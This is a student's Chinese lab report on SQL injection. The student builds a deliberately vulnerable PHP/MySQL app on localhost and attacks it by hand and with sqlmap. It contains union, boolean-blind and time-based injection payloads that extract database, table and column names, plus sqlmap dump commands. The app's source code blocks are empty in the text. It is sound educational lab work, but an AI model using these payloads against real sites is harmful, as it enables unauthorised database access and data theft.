网络对抗原理实验一
实验要求
- 搭建mysql数据库,建立数据库test,数据表student,包含id、name、score三列。
- 搭建运用的运行环境,如nginx+php-fpm、tomcat+java等等。
- 编写带有sql注入漏洞的接口程序,包含:- 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名
 和分数。
- 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是
 否有该学生存在。
- 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间。
- 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果的条件表达式结果,并将结果展
 示在两段随机内容之间。如入学号,展示该学生分数是否大于 60。
- 根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。如输入学号,查询
 是否有学生存在,然后输出固定内容。
- 据输入的参数值,拼接 SQL 语句并执行,更新数据库。如输入学号和分数,将对应学生的分数
 更新。
 
- 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名
- 针对上述各个应用接口,手工修改请求参数,尝试各种 SQL 注入的攻击向量,和正常访问的对照组一 起,观察结果并记录。
- 针对上述各个应用接口,用 sqlmap 尝试各种注入方式,并用 wireshark 抓包,记录每次的目标、 SQL 命令行、结果(包括出结果的过程、和最终的输出)、和抓包文件。
- 分析抓包文件,了解攻击向量,体会各种注入技术的原理。并回到 4 步骤中手动尝试。
- 在步骤3中第一个接口的基础上,尝试用不同的方法来避免SQL注入,再使用sqlmap尝试看是否有效,能否绕过。
实验环境:Ubuntu 16.04
实验步骤
搭建mysql数据库,建立数据库test,数据表student,包含id、name、score三列。
进入数据库并且输入密码
| 1 | mysql -u root -p | 
创建数据库
| 1 | create database test; | 
搭建运用的运行环境:nginx+php-fpm
- 在线安装Nginx
| 1 | sudo apt-get install nginx | 
安装成功之后,nginx放置在/etc/nginx目录下,并且已经在/etc/init.d/下创建了启动脚本;启动程序文件在/usr/sbin/nginx;日志文件放置在/var/log/nginx目录下,分别是access.log和error.log
虚拟主机配置文件放置在/etc/nginx/sites-available目录下;默认的虚拟主机的目录/usr/share/nginx/www。
- 启动Nginx
| 1 | sudo apt-get install php7.0-fpm | 
在这里,我们使用php-fpm使得PHP7.0可以在nginx上通过PHP-FPM工作,PHP-FPM(FastCGI Process Manager) 是一个守护进程(init脚本文件在/etc/init.d/php7.0-fpm),它运行了一个FastCGI server,端口是 9000。
- 配置Nginx
| 1 | sudo vim /etc/nginx/sites-available/default | 

将配置文件中将第39行添加index.htm和index.php使.htm文件和php文件可以成为文件夹默认打开文件,并且反注释57行进行9000端口监听。
- reload使配置生效
| 1 | sudo service nginx restart | 
- 测试在网站根目录创建一个PHP的测试文件 
| 1 | sudo vim /var/www/html/info.php | 
php文件内容

打开浏览器输入http://127.0.0.1/info.php

至此nginx已经配置成功
- 配置php-fpm
| 1 | sudo apt-get install php7.0-mysql php7.0-curl php7.0-gd php7.0-intl php-pear php7.0-imagick php7.0-imap php7.0-mcrypt php7.0-memcache php7.0-ming php7.0-ps php7.0-pspell php7.0-recode php7.0-snmp php7.0-sqlite php7.0-tidy php7.0-xmlrpc php7.0-xsl | 
重启PHP-FPM,使之生效
| 1 | sudo service php7.0-fpm restart | 
编写带有sql注入漏洞的接口程序
以下代码中数据库密码[**]已作脱敏处理,应换成你的mysql root密码
- 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名和分数。
html文件如下
| 1 | <html> | 

php文件如下所示
| 1 | 
 | 

- 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是否有该学生存在。
html文件如下所示
| 1 | <html> | 

php文件如下所示
| 1 | 
 | 

- 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间。
html文件代码
| 1 | <html> | 

php文件代码
| 1 | 
 | 

- 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果的条件表达式结果,并将结果展示在两段随机内容之间。如入学号,展示该学生分数是否大于 60。
html文件源码
| 1 | <html> | 

php文件源码
| 1 | 
 | 

- 根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。例如如输入学号,查询是否有学生存在,然后输出固定内容。
html文件源码
| 1 | <html> | 

php文件源代码
| 1 | 
 | 

- 据输入的参数值,拼接 SQL 语句并执行,更新数据库。如输入学号和分数,将对应学生的分数更新。
html文件源码
| 1 | <html> | 

php文件源码
| 1 | 
 | 

###手工注入实验
- 对于第一种漏洞场景,我们可以使用万能密码' or '1' = '1的方法,将作为参数id通过GET的传参方式拼接到sql语句中。使得数据库查询语句变为
| 1 | select name,score from student where id='' or '1' ='1'; | 
正常访问场景


上述万能密码注入结果可将整个test表输出


- 这个这种情况属于True or False类型的漏洞,只会返回布尔值而不会返回查询结果,所以我们首先需要猜测数据库名字的长度,接着一个字母一个字母的猜测,根据服务器返回的确认信息,最终确认每个字母。 - 先判断是否有注入点 - 是否有整型注入点  
- 是否有字符型注入点  - 结果都没有  - 但是我确实是可以进行注入的   - 究其原因,原来是我在编写第二个php脚本时把所有返回行超过1行的结果都输出no,确实是可以进行注入的 
 
- 猜测数据库中表的数量 - 1 - 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#  - 第一条就显示yes,说明该数据库中表的数量为1 
- 猜测每个表的长度 - 1 
 2
 3
 4- 1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1# 
 1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2#
 ……………………
 1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=7#- 直到当尝试表长是否为7时,返回yes,得出该表长度为7 
- 这里limit a,b #返回第a+1至a+b行的数据
 
- 直到当尝试表长是否为7时,返回yes,得出该表长度为7
- 猜测第一个表的表名 - 1 
 2
 3
 4
 5
 6
 7
 8- 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# =>true 
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# =>true
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109# =>true
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118# =>false
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>115# => true
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117# => false
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116# => false
 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115# => true- TIPS:substr的用法 - 一般有两种 
 SBUSTR(str,pos);
 就是从pos开始的位置,一直截取到最后- SUBSTR(str,pos,len); 
 这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。- 猜测第二个字母的时候可以用 - 1 - 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97# - 猜测第二个表的第一个字母是可以用 - 1 - 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))>97# - 以此类推就可以得到表名为student 
- 猜测student表中每列的名字 - 猜测student表的字段数 - 1 
 2- 1' and (select count(column_name) from information_schema.columns where table_name='student')=1# => false 
 1' and (select count(column_name) from information_schema.columns where table_name='student')=3# => true
- 猜测student表的每一列长度 - 1 
 2- 1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1))=1# => false 
 1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1))=2# => true- 第一列列名长度为2 - 1 
 2- 1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 1,1),1))=1# => false 
 1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 1,1),1))=4# => true- 第二列列名长度为4 - 1 
 2- 1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 2,1),1))=1# => false 
 1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 2,1),1))=5# => true- 第三列列名长度为5 
- 猜测student表的每一列列名 - 用猜测表名的方法进行猜测 - 1 
 2
 3- 1' and ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))>97# => true 
 1' and ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))<122# => true
 ……………………- 用这种方法就可以将每个表名猜出,依次为id,name,score 
 
 
- 这一小问在上一问的基础上加入了随机字符串 - 然而针对上一问的手工盲注方法对这一问同样有效 
  
- 我推测这种方法应该是为了防sqlmap,让其对返回值的true or false难以检测
- 后来查阅了一下资料发现是为了模拟正常业务,因为正常情况下页面回显是需要自己去找的。
 
- 然而针对上一问的手工盲注方法对这一问同样有效
- 下一小问只是在查询语句中加入了 - AND score>60,这样的话只要填上闭合向量’#’就可以过滤掉后面的WHERE条件判定
- 对于固定输出的内容就不能用盲注了,因为我们不能得到true or false,所以只能用基于时间的注入攻击 - 先判断是否有注入点 - 1 - 1' and sleep(2)# =>等待,有注入点 
- 判断当前数据库名长度 - TIPS:sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;if((条件),m,n)语句:若条件为真 返回m,若条件为假 返回n; - 1 
 2
 3
 4- 1' and sleep(if((length(database())=1),3,0))# =>不等待 
 1' and sleep(if((length(database())=2),3,0))# =>不等待
 1' and sleep(if((length(database())=3),3,0))# =>不等待
 1' and sleep(if((length(database())=4),3,0))# =>等待- 则数据库名长度为4 
- 判断数据库名 - TIPS: 
 - mid(database(), m, n):返回数据库名的第m位之后的n位;- 1 
 2
 3
 4- 1' and sleep(if((mid(database(),1,1)='t'),3,0))# => 't' 
 1' and sleep(if((mid(database(),2,1)='e'),3,0))# => 'e'
 1' and sleep(if((mid(database(),3,1)='s'),3,0))# => 's'
 1' and sleep(if((mid(database(),4,1)='t'),3,0))# => 't'- 所以数据库名为test 
- 判断表的个数 - 1 - 1' and sleep(if(((select count(table_name) from information_schema.tables where table_schema=database())=1),3,0))# =>等待 - 有一个表 
- 猜测每个表的长度 - 1 
 2- 1' and sleep(if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1),2,0))# =>不等待 
 1' and sleep(if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=7),2,0))# =>等待- 表名长度为7 
- 判断表名 - 1 
 2
 3
 4
 5
 6
 7
 8- 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),2,0))# =>等待 
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122),2,0))# =>等待
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109),2,0))# =>等待
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),2,0))# =>不等待
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>115),2,0))# =>等待
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),2,0))# =>不等待
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),2,0))# =>不等待
 1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115),2,0))# =>等待- 则表名的第一个字母为’s’ 
 以此类推可以得到表名’student’
- 判断表中列数 - 1 
 2- 1' and sleep(if(((select count(column_name) from information_schema.columns where table_name='student')=1),2,0))# => 不等待 
 1' and sleep(if(((select count(column_name) from information_schema.columns where table_name='student')=3),2,0))# => 等待- 字段数为3 
- 判断表中每列长度 - 1 
 2
 3- 1' and sleep(if((length(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1))=2),2,0))# => 等待:长度为2 
 1' and sleep(if((length(substr((select column_name from information_schema.columns where table_name='student' limit 1,1),1))=4),2,0))# =>等待:长度为4
 1' and sleep(if((length(substr((select column_name from information_schema.columns where table_name='student' limit 2,1),1))=5),2,0))# =>等待:长度为5
- 判断表中每列列名 - 1 - 1' and sleep(if((ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))>97),1,0))# - 一步一步来就可以搞定 
 
- 这一小问是更新数据库操作,我们可以使用更新数据注入方式来向数据库中非法插入数据,思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句: - 1 
 2- UPDATE student SET score=''inject here'' WHERE id=1; 
 UPDATE student SET score='"inject here"' WHERE id=1;- 我将在sqlmap中演示 
利用sqlmap自动化注入并用wireshark抓包分析
- 对于普通查询结果的场景,我们可以使用Union查询的方式 - 1 - sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" - 这样一来我们就找到了Union联合查询,Boolean-based和Time-based3种不同方式的注入点。  - 接着开始搞事情 - 1 - sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" --current-db --current-user  - 1 - sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" --tables -D test --columns  - dump数据库内容 - 1 - sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" --dump -T "student" -D "test"  - 通过抓包分析可以得出sqlmap的查询语句  
  - 大致意思就是先判断是否有注入点,再判断过滤字符,接着判断id的最大长度(推测应该是使用二分法),然后就是用我上述手工注入的方法:数据库名长度=>数据库名=>表的个数=>每个表名长度=>每个表名=>列的个数=>每个列名长度=>每个列名。不过我发现sqlmap用了很多随机字符串拼接的方式。 
- 对于仅返回true or false结果的场景,我们可以使用Union查询的方式就失效了,只能布尔查询。 - 1 - sqlmap --technique=B -u "http://127.0.0.1/sql_injection/2.php?id=1&submit=submit" --batch  - 有布尔盲注注入点,开始搞事情 - 1 - sqlmap --technique=B -u "http://127.0.0.1/sql_injection/2.php?id=1&submit=submit" --tables -D test  - 1 - sqlmap --technique=B -u "http://127.0.0.1/sql_injection/2.php?id=1&submit=submit" --dump -D test -T student  - 抓包分析一下  - 大体看了一下前面的查询语句和Union查询没什么区别,爆库也是按照上述的方法 
  - 选取一条感觉和我手工注入的方式很相似,然后再进行转码分析一下,发现它是采用二分法来依次确定字母ascii码值的 
- 第三种对于返回值中夹杂着随机字符串的 - 当我使用如下命令时发现并不能成功 - 1 - sqlmap -u "http://127.0.0.1/sql_injection/3.php?id=1&submit=submit" --technique-B - 于是使用 - 1 - sqlmap -u "http://127.0.0.1/sql_injection/3.php?id=1&submit=submit" - 发现注入点  - 但是奇怪的是这却是boolean-based的盲注,继续进行发现它还是以Time-based进行注入的,应该是随机字符串防御住了布尔盲注  - 1 - sqlmap -u "http://127.0.0.1/sql_injection/3.php?id=1&submit=submit" --tables -D test --columns -T student  
- 这一题也有点类似 - 1 - sqlmap --technique=B -u "http://127.0.0.1/sql_injection/4.php?id=1&submit=submit" - 在sqlmap运行的过程中,发现了如下日志  - 解答了刚才的疑惑,原来是添加了随机字符串之后sqlmap无法处理动态HTTP返回值  - 忽略字符串,终于找到了注入点  - 以下就可以进行爆库操作。 
- 如果返回值是一个固定的值那么只能采用Time-based - 1 - sqlmap --technique=T -u "http://127.0.0.1/sql_injection/5.php?id=1&submit=submit" --batch  - 抓包查看  
###参考资料
- https://blog.csdn.net/xiejunna/article/details/76576804
- https://my.oschina.net/duwaiweb/blog/80578
- https://blog.csdn.net/we_shell/article/details/37772941
- https://www.cnblogs.com/dee0912/p/5240370.html
- https://blog.csdn.net/qq_35544379/article/details/77351783
- https://blog.csdn.net/Code_My_Life/article/details/48135319
- https://blog.csdn.net/dgeek/article/details/69525403
- https://blog.csdn.net/baidu_37108358/article/details/80766939
- https://wps2015.org/drops/drops/%E5%88%A9%E7%94%A8insert%EF%BC%8Cupdate%E5%92%8Cdelete%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html
实验总结与心得
- 对于注入,总的来说有3种主要方式:联合查询、布尔盲注、时间盲注。这三种方式各有各自特点。我通过手工注入从获取数据库名到爆库,直到最后还可以进一步联合查询sys数据库中的敏感信息(这些也是可以做的)。- 联合查询:适用于有返回结果的注入方式,查询速度较快。
- boolean-based方式:适用于返回值只有true or false的情况,我们可以用二分法不断地判断正误,从而一个字母一个字母地找出数据库名、表名、列名。
- time-based方式:适用于不管有没有返回结果均返回固定值的方式,主要是用到了注入中的sleep()函数,这样更慢但同时也更隐蔽。
- 一般注入方式的选择是:先Union,再boolean-based,最后time-based。
 
- 至于随机字符串,它们对于手工注入丝毫没有影响,主要是影响sqlmap,因为每次地返回结果是动态的就会导致sqlmap工作异常,这是一种很好的屏蔽机制。
